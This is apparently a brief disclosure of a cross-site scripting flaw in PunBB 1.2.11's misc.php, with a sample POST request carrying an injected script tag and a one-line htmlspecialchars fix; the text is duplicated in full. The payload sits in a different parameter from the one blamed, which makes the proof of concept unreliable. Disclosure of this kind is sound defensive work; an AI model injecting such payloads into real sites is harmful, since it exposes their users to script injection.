o.y.6@hotmail.com
04/05/06, 18:40
PunBB 1.2.11 Cross-Site Scripting
File name :- misc.php
Action :- Send Email
Line :- 123
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);
The $_POST['redirect_url'] = Unfilter Input
Exploit :-
Send POST Request
GET :-
/PunBB/misc.php?email=2
POST :-
form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
Fix :-
Replace The Line With :-
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);
File name :- misc.php
Action :- Send Email
Line :- 123
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);
The $_POST['redirect_url'] = Unfilter Input
Exploit :-
Send POST Request
GET :-
/PunBB/misc.php?email=2
POST :-
form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
Fix :-
Replace The Line With :-
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);